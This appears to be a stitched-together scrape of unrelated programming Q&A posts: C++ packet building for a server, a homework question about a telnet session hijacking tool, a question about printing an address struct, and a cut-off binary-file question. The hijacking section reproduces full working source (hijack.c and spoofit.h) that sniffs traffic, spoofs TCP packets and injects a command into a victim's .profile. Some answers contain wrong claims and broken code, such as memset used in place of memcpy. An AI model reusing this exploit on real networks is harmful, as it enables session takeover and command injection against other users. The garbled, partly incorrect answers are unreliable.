I'm trying to communicate with a server program I installed. The server sends and receives all data in the form of constructed packets that follow the setup of:
int int int string nullbyte
like this:
little endian signed int -> The size of the ID (4 bytes) + size of Type (4 bytes) + size of Body (minimum 1 for null terminator) + null byte for a minimum of 10 as the value;
little endian signed int -> id
little endian signed int -> packet type
Null terminiated ascii string -> body
null byte
I've managed to read the packets just fine but when I try to send the packet with the password, the server completely ignores it which means the packet is wrong some how. I construct the packet like this:
void Packet::build(){
/*
* Create unsigned char vector to store
* the data while we build the byte array
* and create a pointer so the byte array can
* be modified by the required functions.
*/
std::vector<unsigned char> packet(m_size);
unsigned char *ptr = packet.data();
/*
* Convert each of the three integers as well
* as the string into bytes which will be stored
* back into the memory that ptr points to.
*
* Packet data follows format:
* int32 -> Size of ID + Server Data + body (minimum of 10).
* int32 -> ID of request. Used to match to response.
* int32 -> Server Data type. Identifies type of request.
* String -> Minimum of 1 byte for null terminator.
* String -> Null terminator.
*/
storeInt32Le(ptr, m_sizeInPacket);
storeInt32Le(ptr, m_requestID);
storeInt32Le(ptr, m_serverData);
storeStringNt(ptr, m_body);
/*
* Store the vector in member variable m_cmdBytes;
*
*/
m_cmdBytes = packet;
}
storeInt32Le:
void Packet::storeInt32Le(unsigned char* &buffer, int32_t value) {
/*
* Copy the integer to a byte array using
* bitwise AND with mask to ensure the right
* bits are copied to each segment then
* increment the pointer by 4 for the next
* iteration.
*/
buffer[0] = value & 0xFF;
buffer[1] = (value >> 8) & 0xFF;
buffer[2] = (value >> 16) & 0xFF;
buffer[3] = (value >> 24) & 0xFF;
buffer += 4;
}
storeStringNt:
void Packet::storeStringNt(unsigned char* &buffer, const string &s) {
/*
* Get the size of the string to be copied
* then do a memcpy of string char array to
* the buffer.
*/
size_t size = s.size() + 1;
memcpy(buffer, s.c_str(), size);
buffer += size;
}
And finally, I send it with:
bool Connection::sendCmd(Packet packet) {
unsigned char *pBytes = packet.bytes().data();
size_t size = packet.size();
while (size > 0){
int val = send(m_socket, pBytes, size, 0);
if (val <= 0) {
return false;
}
pBytes += val;
size -= val;
}
return true;
}
Packet::bytes() just returns m_cmdBytes
As stated in comments, you are:
making assumptions about the byte size and endian of your compiler's int data type. Since your protocol requires a very specific byte size and endian for its integers, you need to force your code to follow those requirements when preparing the packet.
using memcpy() incorrectly. You have the source and destination buffers reversed.
are not ensuring that send() is actually sending the full packet correctly.
Try something more like this:
void store_uint32_le(unsigned char* &buffer, uint32_t value)
{
buffer[0] = value & 0xFF;
buffer[1] = (value >> 8) & 0xFF;
buffer[2] = (value >> 16) & 0xFF;
buffer[3] = (value >> 24) & 0xFF;
buffer += 4;
}
void store_string_nt(unsigned char* &buffer, const std::string &s)
{
size_t size = s.size() + 1;
memcpy(buffer, s.c_str(), size);
buffer += size;
}
...
std::vector<unsigned char> packet(13 + m_body.size());
unsigned char *ptr = packet.data(); // or = &packet[0] prior to C++11
store_uint32_le(ptr, packet.size() - 4);
store_uint32_le(ptr, m_requestID);
store_uint32_le(ptr, m_serverData);
store_string_nt(ptr, m_body);
...
unsigned char *pBytes = packet.data(); // or = &packet[0] prior to C++11
size_t size = packet.size();
while (size > 0)
{
int val = send(m_socket, pBytes, size, 0);
if (val < 0)
{
// if your socket is non-blocking, enable this...
/*
#ifdef _WINDOWS // check your compiler for specific defines...
if (WSAGetLastError() == WSAEWOULDBLOCK)
#else
if ((errno == EAGAIN) || (errno == EWOULDBLOCK) || (errno == EINTR))
#endif
continue;
*/
return false;
}
if (val == 0)
return false;
pBytes += val;
size -= val;
}
return true;
This is a class topic homework, I currently have some demonstration C++ codes(hijack.c) for hacker to hijack the telnet session in the LAN and implant some "evil code" in the telnet server.
The question is, for the telnet client, how to restore the telnet session instead of kill the PID by generating some large traffic? Only just need to modify some of the codes of the hijack.c.
/*---=[ hijack.c ]=-------------------------------------------------------*/
#include "spoofit.h" /* My spoofing include.... read licence on this */
/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode */
#define INTERFACE "eth0" /* first ethernet device */
#define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */
#define PERSONAL_TOUCH 666
int fd_receive, fd_send;
char CLIENT[100],SERVER[100];
int CLIENT_P;
void main(int argc, char *argv[])
{
int i,j,count;
struct sp_wait_packet attack_info;
unsigned long sp_seq ,sp_ack;
unsigned long old_seq ,old_ack;
unsigned long serv_seq ,serv_ack;
/* This data used to clean up the shell line */
char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a}; /* Clear the command line that typed by the client */
char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n"; /* Input the command that the hacker intends to type*/
if(argc!=4)
{
printf("Usage: %s client client_port server\n",argv[0]); /* Check the input parameter format. */
exit(1);
}
strcpy(CLIENT,argv[1]); /* copy the client ip address info from argv[1] to the Char variable CLIENT */
CLIENT_P=atoi(argv[2]); /* Convert the String into Integer and save it to the Integer CLIENT_P */
strcpy(SERVER,argv[3]); /* same as the first strcpy */
/* preparing all necessary sockets (sending + receiving) */
DEV_PREFIX = INTERFACE_PREFIX;
fd_send = open_sending(); /* open_sending() is in the file called spoofit.h
fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */
printf("Starting Hijacking demo - Brecht Claerhout 1996\n");
printf("-----------------------------------------------\n");
for(j=0;j<50;j++)
{
printf("\nTakeover phase 1: Stealing connection.\n");
wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0); /*Based on the info to capture the packet and reconstruct the bogus packet*/
sp_seq=attack_info.seq+attack_info.datalen;
sp_ack=attack_info.ack;
printf(" Sending Spoofed clean-up data...\n");
transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,
sp_seq,sp_ack,ACK|PSH); /* Clear the command*/
/* NOTE: always beware you receive y'r OWN spoofed packs! */
/* so handle it if necessary */
count=0;
printf(" Waiting for spoof to be confirmed...\n");
while(count<5)
{
wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==sp_seq+sizeof(to_data))
count=PERSONAL_TOUCH; /* PERSONAL_TOUCH = 666, In the previous define already. */
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 1 unsuccesfully ended.\n");}
else {printf("Phase 1 ended.\n"); break;};
};
printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n");
count=serv_seq=old_ack=0;
while(count<10)
{
old_seq=serv_seq;
old_ack=serv_ack;
wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0);
if(attack_info.datalen==0)
{
serv_seq=attack_info.seq+attack_info.datalen;
serv_ack=attack_info.ack;
if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
count=PERSONAL_TOUCH;
else count++;
}
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 2 unsuccesfully ended.\n"); exit(0);} /* Time-out and abort immediately */
printf(" Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack);
printf("Phase 2 ended.\n");
printf("\nTakeover phase 3: Sending MY data.\n");
printf(" Sending evil data.\n");
transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
SERVER,23,serv_ack,serv_seq,ACK|PSH); /* Send out the evil data*/
printf(" Waiting for evil data to be confirmed...\n");
while(count<5)
{
wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==serv_ack+sizeof(evil_data))
count=PERSONAL_TOUCH;
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 3 unsuccesfully ended.\n"); exit(0);}
printf("Phase 3 ended.\n");
}
/*---=[ spoofit.h ]=------------------------------------------------------*/
#include "sys/socket.h" /* includes, what would we do without them */
#include "netdb.h"
#include "stdlib.h"
#include "unistd.h"
#include "stdio.h"
#include "errno.h"
#include "netinet/in.h"
#include "netinet/ip.h"
#include "linux/if.h"
#include "sys/ioctl.h"
#include "sys/types.h"
#include "signal.h"
#include "fcntl.h"
#undef DEBUG
#define IP_VERSION 4 /* keep y'r hands off... */
#define MTU 1500
#define IP_HEAD_BASE 20 /* using fixed lengths to send */
#define TCP_HEAD_BASE 20 /* no options etc... */
#define UDP_HEAD_BASE 8 /* Always fixed */
#define IO_HANDLE 1
#define IO_NONBLOCK 2
int DEV_PREFIX = 9999;
sig_atomic_t WAIT_PACKET_WAIT_TIME=0;
/**** IO_HANDLE ************************************************************/
int rc_fd_abc123;
sig_atomic_t RC_FILTSET=0;
char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */
sig_atomic_t SP_DATA_BUSY=0;
unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
unsigned int CUR_DATALEN;
unsigned short CUR_FLAGS;
/***************************************************************************/
struct sp_wait_packet
{
unsigned long seq,ack;
unsigned short flags;
int datalen;
};
/* Code from Sniffit - BTW my own program.... no copyright violation here */
#define URG 32 /* TCP flags */
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1
struct PACKET_info
{
int len, datalen;
unsigned long int seq_nr, ACK_nr;
u_char FLAGS;
};
struct IP_header /* The IPheader (without options) */
{
unsigned char verlen, type;
unsigned short length, ID, flag_offset;
unsigned char TTL, protocol;
unsigned short checksum;
unsigned long int source, destination;
};
struct TCP_header /* The TCP header (without options) */
{
unsigned short source, destination;
unsigned long int seq_nr, ACK_nr;
unsigned short offset_flag, window, checksum, urgent;
};
struct UDP_header /* The UDP header */
{
unsigned short source, destination;
unsigned short length, checksum;
};
struct pseudo_IP_header /* The pseudo IP header (checksum calc) */
{
unsigned long int source, destination;
char zero_byte, protocol;
unsigned short TCP_UDP_len;
};
/* data structure for argument passing */
struct sp_data_exchange {
int fd; /* Sh!t from transmit_TCP */
char *data;
int datalen;
char *source; unsigned short source_port;
char *dest; unsigned short dest_port;
unsigned long seq, ack;
unsigned short flags;
char *buffer; /* work buffer */
int IP_optlen; /* IP options length in bytes */
int TCP_optlen; /* TCP options length in bytes */
};
/**************** all functions *******************************************/
void transmit_TCP (int fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags);
void transmit_UDP (int sp_fd, char *sp_data,
int ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port);
int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);
static unsigned long sp_getaddrbyname(char *);
int open_sending (void);
int open_receiving (char *, char);
void close_receiving (void);
void sp_send_packet (struct sp_data_exchange *, unsigned char);
void sp_fix_TCP_packet (struct sp_data_exchange *);
void sp_fix_UDP_packet (struct sp_data_exchange *);
void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
unsigned short in_cksum(unsigned short *, int );
void rc_sigio (int);
void set_filter (char *, unsigned short, char *, unsigned short);
/********************* let the games commence ****************************/
static unsigned long sp_getaddrbyname(char *sp_name)
{
struct hostent *sp_he;
int i;
if(isdigit(*sp_name))
return inet_addr(sp_name);
for(i=0;i<100;i++)
{
if(!(sp_he = gethostbyname(sp_name)))
{printf("WARNING: gethostbyname failure!\n");
sleep(1);
if(i>=3) /* always a retry here in this kind of application */
printf("Coudn't resolv hostname."), exit(1);
}
else break;
}
return sp_he ? *(long*)*sp_he->h_addr_list : 0;
}
int open_sending (void)
{
struct protoent *sp_proto;
int sp_fd;
int dummy=1;
/* they don't come rawer */
if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1)
perror("Couldn't open Socket."), exit(1);
#ifdef DEBUG
printf("Raw socket ready\n");
#endif
return sp_fd;
}
void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
{
int sp_status;
struct sockaddr_in sp_server;
struct hostent *sp_help;
int HEAD_BASE;
/* Construction of destination */
bzero((char *)&sp_server, sizeof(struct sockaddr));
sp_server.sin_family = AF_INET;
sp_server.sin_addr.s_addr = inet_addr(sp->dest);
if (sp_server.sin_addr.s_addr == (unsigned int)-1)
{ /* if target not in DOT/number notation */
if (!(sp_help=gethostbyname(sp->dest)))
fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);
bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length);
};
switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};
sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0,
(struct sockaddr *)&sp_server,sizeof(struct sockaddr));
if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)
{
if (sp_status < 0)
perror("Sendto"), exit(1);
printf("hmm... Only transmitted %d of %d bytes.\n", sp_status,
sp->datalen+HEAD_BASE);
};
#ifdef DEBUG
printf("Packet transmitted...\n");
#endif
}
void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
{
struct IP_header *sp_help_ip;
int HEAD_BASE;
switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};
sp_help_ip = (struct IP_header *) (sp->buffer);
sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
sp_help_ip->type = 0;
sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen);
sp_help_ip->ID = htons(12545); /* TEST */
sp_help_ip->flag_offset = 0;
sp_help_ip->TTL = 69;
sp_help_ip->protocol = proto;
sp_help_ip->source = sp_getaddrbyname(sp->source);
sp_help_ip->destination = sp_getaddrbyname(sp->dest);
sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer),
IP_HEAD_BASE+sp->IP_optlen);
#ifdef DEBUG
printf("IP header fixed...\n");
#endif
}
void sp_fix_TCP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct TCP_header *sp_help_tcp;
struct pseudo_IP_header *sp_help_pseudo;
int i;
for(i=0;i<MTU;i++)
{sp_pseudo_ip_construct[i]=0;}
sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags);
sp_help_tcp->seq_nr = htonl(sp->seq);
sp_help_tcp->ACK_nr = htonl(sp->ack);
sp_help_tcp->source = htons(sp->source_port);
sp_help_tcp->destination = htons(sp->dest_port);
sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */
sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 6;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen);
memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE);
sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen);
#ifdef DEBUG
printf("TCP header fixed...\n");
#endif
}
void transmit_TCP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;
bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_tcpoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_tcpoptlen);
if (sp_datalen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);
sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.seq = sp_seq;
sp_struct.ack = sp_ack;
sp_struct.flags = sp_flags;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = sp_tcpoptlen;
sp_fix_TCP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 6);
sp_send_packet(&sp_struct, 6);
}
void sp_fix_UDP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct UDP_header *sp_help_udp;
struct pseudo_IP_header *sp_help_pseudo;
int i;
for(i=0;i<MTU;i++)
{sp_pseudo_ip_construct[i]=0;}
sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
sp_help_udp->source = htons(sp->source_port);
sp_help_udp->destination = htons(sp->dest_port);
sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE);
sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 17;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE);
memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE);
sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp->datalen+12+UDP_HEAD_BASE);
#ifdef DEBUG
printf("UDP header fixed...\n");
#endif
}
void transmit_UDP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;
bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_data!=NULL)
memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_datalen);
sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = 0;
sp_fix_UDP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 17);
sp_send_packet(&sp_struct, 17);
}
/* This routine stolen from ping.c -- HAHAHA!*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
/************************* Receiving department ****************************/
int open_receiving (char *rc_device, char mode)
{
int or_fd;
struct sigaction rc_sa;
int fcntl_flag;
struct ifreq ifinfo;
char test;
/* create snoop socket and set interface promisc */
if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)
perror("Couldn't open Socket."), exit(1);
strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)
perror("Couldn't get flags."), exit(1);
ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)
perror("Couldn't set flags. (PROMISC)"), exit(1);
if(mode&IO_HANDLE)
{ /* install handler */
rc_sa.sa_handler=rc_sigio; /* we don't use signal() */
sigemptyset(&rc_sa.sa_mask); /* because the timing window is */
rc_sa.sa_flags=0; /* too big... */
sigaction(SIGIO,&rc_sa,NULL);
}
if(fcntl(or_fd,F_SETOWN,getpid())<0)
perror("Couldn't set ownership"), exit(1);
if(mode&IO_HANDLE)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
perror("Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)
perror("Couldn't set FLAGS"), exit(1);
rc_fd_abc123=or_fd;
}
else
{
if(mode&IO_NONBLOCK)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
perror("Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)
perror("Couldn't set FLAGS"), exit(1);
};
};
#ifdef DEBUG
printf("Reading socket ready\n");
#endif
return or_fd;
}
/* returns 0 when no packet read! */
int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto)
{
char help_buffer[MTU];
int pack_len;
struct IP_header *gp_IPhead;
pack_len = read(rc_fd,help_buffer,1500);
if(pack_len<0)
{
if(errno==EWOULDBLOCK)
{pack_len=0;}
else
{perror("Read error:"); exit(1);}
};
if(pack_len>0)
{
pack_len -= DEV_PREFIX;
memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
gp_IPhead = (struct IP_header *) buffer;
if(proto != NULL)
*proto = gp_IPhead->protocol;
if(TCP_UDP_start != NULL)
*TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;
}
return pack_len;
}
void wait_packet_timeout (int sig)
{
alarm(0);
WAIT_PACKET_WAIT_TIME=1;
}
int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
char *wp_source, unsigned short wp_source_port,
char *wp_dest, unsigned short wp_dest_port, int wp_flags,
int wait_time)
{
char wp_buffer[1500];
struct IP_header *wp_iphead;
struct TCP_header *wp_tcphead;
unsigned long wp_sourcel, wp_destl;
int wp_tcpstart;
char wp_proto;
wp_sourcel=sp_getaddrbyname(wp_source);
wp_destl=sp_getaddrbyname(wp_dest);
WAIT_PACKET_WAIT_TIME=0;
if(wait_time!=0)
{
signal(SIGALRM,wait_packet_timeout);
alarm(wait_time);
}
while(1)
{
while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0)
{
if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;}
};
if(wp_proto == 6)
{
wp_iphead= (struct IP_header *) wp_buffer;
wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )
{
if( (ntohs(wp_tcphead->source)==wp_source_port) &&
(ntohs(wp_tcphead->destination)==wp_dest_port) )
{
if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )
{
ret_values->seq=ntohl(wp_tcphead->seq_nr);
ret_values->ack=ntohl(wp_tcphead->ACK_nr);
ret_values->flags=ntohs(wp_tcphead->offset_flag)&
(URG|ACK|PSH|FIN|RST|SYN);
ret_values->datalen = ntohs(wp_iphead->length) -
((wp_iphead->verlen & 0xF) << 2) -
((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);
alarm(0);
return 0;
}
}
}
}
}
/*impossible to get here.. but anyways*/
alarm(0); return -1;
}
void close_receiving (void)
{
close(rc_fd_abc123);
}
void rc_sigio (int sig) /* Packet handling routine */
{
char rc_buffer[1500];
char packet_id [50];
unsigned char *rc_so, *rc_dest;
struct IP_header *rc_IPhead;
struct TCP_header *rc_TCPhead;
int pack_len;
if(RC_FILTSET==0) return;
if(SP_DATA_BUSY!=0) /* skip this packet */
return;
pack_len = read(rc_fd_abc123,rc_buffer,1500);
rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
if(rc_IPhead->protocol!=6) return; /* if not TCP */
rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2));
rc_so = (unsigned char *) &(rc_IPhead->source);
rc_dest = (unsigned char *) &(rc_IPhead->destination);
sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),
rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination));
if(strcmp(packet_id,rc_filter_string)==0)
{
SP_DATA_BUSY=1;
CUR_SEQ = ntohl(rc_TCPhead->seq_nr);
CUR_ACK = ntohl(rc_TCPhead->ACK_nr);
CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);
CUR_DATALEN = ntohs(rc_IPhead->length) -
((rc_IPhead->verlen & 0xF) << 2) -
((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);
CUR_COUNT++;
SP_DATA_BUSY=0;
}
}
void set_filter (char *f_source, unsigned short f_source_port,
char *f_dest, unsigned short f_dest_port)
{
unsigned char *f_so, *f_des;
unsigned long f_sol, f_destl;
RC_FILTSET=0;
if(DEV_PREFIX==9999)
fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
f_sol = sp_getaddrbyname(f_source);
f_destl = sp_getaddrbyname(f_dest);
f_so = (unsigned char *) &f_sol;
f_des = (unsigned char *) &f_destl;
sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,
f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port);
RC_FILTSET=1;
}
#include <fstream>
#include<iostream>
#include<cstring>
using namespace std;
class Address {
public:
char addr[6];
Address() {}
Address(string address) {
size_t pos = address.find(":");
int id = stoi(address.substr(0, pos));
short port = (short)stoi(address.substr(pos + 1, address.size()-pos-1));
memcpy(addr, &id, sizeof(int));
memcpy(&addr[4], &port, sizeof(short));
}
};
enum MsgTypes{
JOINREQ,
JOINREPLY,
DUMMYLASTMSGTYPE,
HEARTBEAT
};
/**
* STRUCT NAME: MessageHdr
*
* DESCRIPTION: Header and content of a message
*/
typedef struct MessageHdr {
enum MsgTypes msgType;
}MessageHdr;
typedef struct en_msg {
// Number of bytes after the class
int size;
// Source node
Address from;
// Destination node
Address to;
}en_msg;
//class Testing{
void send(Address *myaddr, Address *toaddr, char *data, int size);
int main()
{
MessageHdr *msg=new MessageHdr();
size_t msgsize = sizeof(MessageHdr) + sizeof(Address) + sizeof(long) + 1;
msg=(MessageHdr *)malloc(msgsize*sizeof(char));
int id=233;
short port =22;
long heartbeat=1;
msg=(MessageHdr *)malloc(msgsize*sizeof(char));
string s=to_string(id)+":"+to_string(port);
string s1=to_string(id+1)+":"+to_string(port+1);
cout<<s<<'\n';
cout<<s1<<'\n';
Address *addr= new Address(s);
for (int i = 0; i < 6; i++)
cout << addr->addr[i];
Address *toaddr= new Address(s1);
msg->msgType = JOINREQ;
//cout<<(char *)msg->msgType;
memcpy((char *)(msg+1), addr, sizeof(addr));
memcpy((char *)(msg+1) + 1 + sizeof(addr), &heartbeat, sizeof(long));
send(addr, toaddr, (char *)msg, msgsize);
return 0;
}
void send(Address *myaddr, Address *toaddr, char *data, int size) {
cout<<"inside send"<<'\n';
en_msg *em;
//static char temp[2048];
em = (en_msg *)malloc(sizeof(en_msg) + size);
em->size = size;
memcpy(&(em->from), &(myaddr), sizeof(em->from));
memcpy(&(em->to), &(toaddr), sizeof(em->from));
memcpy(em + 1, data, size);
cout<<(char *)(em+1);
}
This is my program,in between I am trying to check the address what is being stored in my char array. but upon printing the array, it gives some strange output. two strange symbols after printing the value of s and s1.
I am trying to store the id:port in the char array of the address class, but looks without success. Please help
The code I am referring to for printing is in the main function. Approx ten lines down the main function.
For say, my id is 233 and port is 22, The address is 233:22 I want to retrieve back 233:22 and print it. How do I do that here?
Thanks in advance :)
The problem is in this line:
cout << addr->addr[i];
Since addr->addr is an array of char, each element will be printed as the character it represents. If you'd rather print the integer value of each, simply cast it to int first.
cout << static_cast<int>(addr->addr[i]); // or old-fashioned: (int)addr->addr[i];
Given the following code:
for (int i = 0; i <= 6; i++)
cout << addr->addr[i];
And given Address's constructor:
size_t pos = address.find(":");
int id = stoi(address.substr(0, pos));
short port = (short)stoi(address.substr(pos + 1, address.size()-pos-1));
memcpy(addr, &id, sizeof(int));
memcpy(&addr[4], &port, sizeof(short));
It's clear that you are printing the bytes that conform a number
addr->addr is a char array which contains two integer variables, one having two bytes (int) and the other having 2 bytes (short).
So, if the number is , lets say, 436, you are printing:
0xB4 0x01 0x00 0x00
<crazy char> SOH NULL NULL
You must understand what are you printing, or what you want to print in order to print it properly.
Note: The most popular setup is assumed here, which means:
Little Endian arquitecture
4-byte int
2-byte short
Update
How to get address and port back:
int address;
unsigned short port;
memset(&address, addr->addr, 4);
memset(&port, addr->addr+4, 2);
I am trying to learn more about binary files, so I started with HexEdit, and I manually wrote a file and created a template for it. Here is my work:
Now, I started working on a console application in C++ Win32 to read the contents in that file and make them look friendly. Here is part my code:
typedef unsigned char BYTE;
long getFileSize(FILE *file)
{
long lCurPos, lEndPos;
lCurPos = ftell(file);
